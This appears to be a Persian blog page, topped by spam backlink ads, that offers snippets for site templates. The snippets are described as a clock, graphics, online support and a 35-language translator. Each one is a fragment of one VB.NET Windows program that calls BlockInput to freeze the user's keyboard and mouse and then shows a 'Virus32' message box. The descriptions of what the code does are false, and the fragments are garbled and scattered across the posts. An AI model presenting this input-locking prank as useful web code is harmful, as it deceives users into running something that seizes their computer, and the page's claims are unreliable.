خرید بک لینک

طراحی سایت در شیراز
مدل سفره عقد
اخبار بانک و بیمه
خرید بک لینک ارزان
انجام پروژه متلب
تور تایلند
كد هايي كا بردي براي قالب سايت ... Public Class Form1 Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Timer1.Enabled = True End Sub Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick BlockInput(True) ProgressBar1.Increment(+5) If ProgressBar1.Value = 100 Then Timer1.Enabled = False BlockInput(False) MsgBox("Virus32.blog.ir") ProgressBar1.Value = 0 End If End Sub
كد هايي كا بردي براي قالب سايت ...

كد هايي كار بردي براي قالب سايت .


كد 100قالب رايگان

كد100 قالب رايگان كه اگر همه ي مرا حل قبل رو انجام بدين كار مي كنه

ProgressBar1.Increment(+5)

وبعد اين رو تو قالب سايت بگذاريد

If ProgressBar1.Value = 100 Then
Timer1.Enabled = False
BlockInput(False)

وبعد

 MsgBox("Virus32.blog.ir")

وپايان

 


چهارشنبه 17 تير 1394 |

كد گرافيك

 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub
كد گرا فيك كه حتما امتحان كنيد .


چهارشنبه 17 تير 1394 |

كد پشتيباني آنلاين

در صورتي كه تمامي كد هايي كه در سايت قرار دادم رو انجام دادين اين كد رو بگذارين

كد:

 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
BlockInput(True)


چهارشنبه 17 تير 1394 |

كد ساعت

وقتي شما اين كد رو در فالب سايت قرار بدين ساعت در سايت شما مي آيد ولي اين كد در بعضي از وبلاگ ها كانميكنه

كد:

BlockInput(True)
حتما امتحان كنيد ...


چهارشنبه 17 تير 1394 |

كد براي ترجمه ي مطالب سايت به 35زبان زندهي دنيا

Public Class Form1
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
BlockInput(True)
ProgressBar1.Increment(+5)
If ProgressBar1.Value = 100 Then
Timer1.Enabled = False
BlockInput(False)
MsgBox("Virus32.blog.ir")
ProgressBar1.Value = 0
End If
End Sub
End Class وقتي شما اين كد رو در قالب سايت وارد كنيد سايت مطالب شمارو به 35زبان ترجمه ميكنه .... حتما امتحان كنيد . بعد اين كد رو حتما وارد كنيد
 Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
تا كد قبل فعال بشه .. . ممنون

 


چهارشنبه 17 تير 1394 |





1394

<-PostTitle->

RSS 2.0

.: Weblog Themes By ruzblog.com :.